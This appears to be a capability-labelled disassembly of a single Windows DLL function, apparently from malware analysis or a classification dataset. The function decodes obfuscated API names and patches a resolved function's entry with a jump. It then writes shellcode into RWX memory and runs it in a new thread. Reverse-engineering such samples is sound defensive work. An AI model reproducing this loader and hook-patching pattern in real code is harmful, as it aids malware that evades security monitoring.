Function at 0x180049f30
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
mov qword [rsp + 0x20], r13
push rbp
push r14
push r15
sub rsp, 0x1e0
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x180068010]
xor rax, rsp
mov qword [rbp + 0x180], rax
movabs rax, 0x78ea763059152676
lea rcx, [rbp + 0xc0]
mov qword [rbp], rax
movabs r13, 0x6fabcc43f9da933f
mov rax, qword [rbp]
movabs r12, 0xf1f488926e5c89a8
mov qword [rbp + 0xc0], rax
movabs r14, 0xc8b18553d715305
movabs rax, 0x932dc0b2cf3a4082
movabs r15, 0xf655a59ca45921f6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0xc0], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x180069c58], rax
lea rcx, [rbp + 0x80]
movabs rax, 0x68a5743958192066
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xf655a59ca4594d9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x180069c70], rax
movabs rax, 0x63c87d215c142146
mov dword [rbp + 0xe0], 0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x9339c7f5d038519b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x6fabbc2294aefa7d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
lea rcx, [rbp + 0x90]
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x60ef36670e183762
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xf655a59ca459219a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqa xmm0, xmmword [rbp + 0x90]
mov qword [rbp + 0x108], rax
vxorps xmm0, xmm0, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x90], xmm0
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov edx, 0x1024
mov r8d, 0x3000
mov rdi, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [rbp + 0x10], 0xec814855
mov rbx, rax
mov dword [rbp + 0x14], pe_nt_image_headers64
mov dword [rbp + 0x18], 0x48ec8b48
mov dword [rbp + 0x1c], 0xf8ad89
mov dword [rbp + 0x20], 0xb9480000
mov qword [rbp + 0x24], 1
mov qword [rbp + 0x2c], 0xffffffffff158d48
mov dword [rbp + 0x34], 0x215
mov qword [rbp + 0x38], 0xffffffffff08eb00
mov dword [rbp + 0x40], 0x48ffffff
mov dword [rbp + 0x44], 0x100a58d
mov dword [rbp + 0x48], 0xc35d0000
mov dword [rbp + 0x4c], 0x8418b48
mov dword [rbp + 0x50], 0x444881
mov dword [rbp + 0x54], 0xb8000100
mov dword [rbp + 0x58], 0
test rdi, rdi
je 0x18004a49f
lea r9, [rbp + 0xe0]
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rdi], 0x909049eb
lea r9, [rbp + 0xe0]
mov byte [rdi + 4], 0x90
mov edx, 0x1000
mov r8d, dword [rbp + 0xe0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test rbx, rbx
je 0x18004a49f
movabs rax, 0x63ff7b306b153744
lea rcx, [rbp + 0xa0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x8630c6e4e13d4484
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xbc5ad0b97b5fa4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xf1f488926e2eecc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0x3eb874305303364e
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xf655a59cc83545d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x118], rax
vxorps xmm0, xmm0, xmmword [rbp + 0x110]
vmovdqa xmmword [rbp + 0xa0], xmm0
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x18004a49f
movups xmm0, xmmword [rbp + 0x10]
mov ecx, 0xa
movups xmm1, xmmword [rbp + 0x20]
mov eax, dword [rbp + 0x58]
movups xmmword [rbx], xmm0
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rbx + 0x10], xmm1
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rbx + 0x20], xmm0
movsd xmm0, qword [rbp + 0x50]
movups xmmword [rbx + 0x30], xmm1
movsd qword [rbx + 0x40], xmm0
mov dword [rbx + 0x48], eax
mov byte [rbx + 0x4c], 0xc3
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
mov qword [rbx + 0x1f], 0x19
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbx + 0x23]
mov r8, rdi
call fcn.18004a4f0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [0x180069c58], 0
je 0x18004a4b7
cmp qword [0x180069c70], 0
je 0x18004a4b7
mov al, 1
jmp 0x18004a4b9
xor al, al
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1800510a0
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret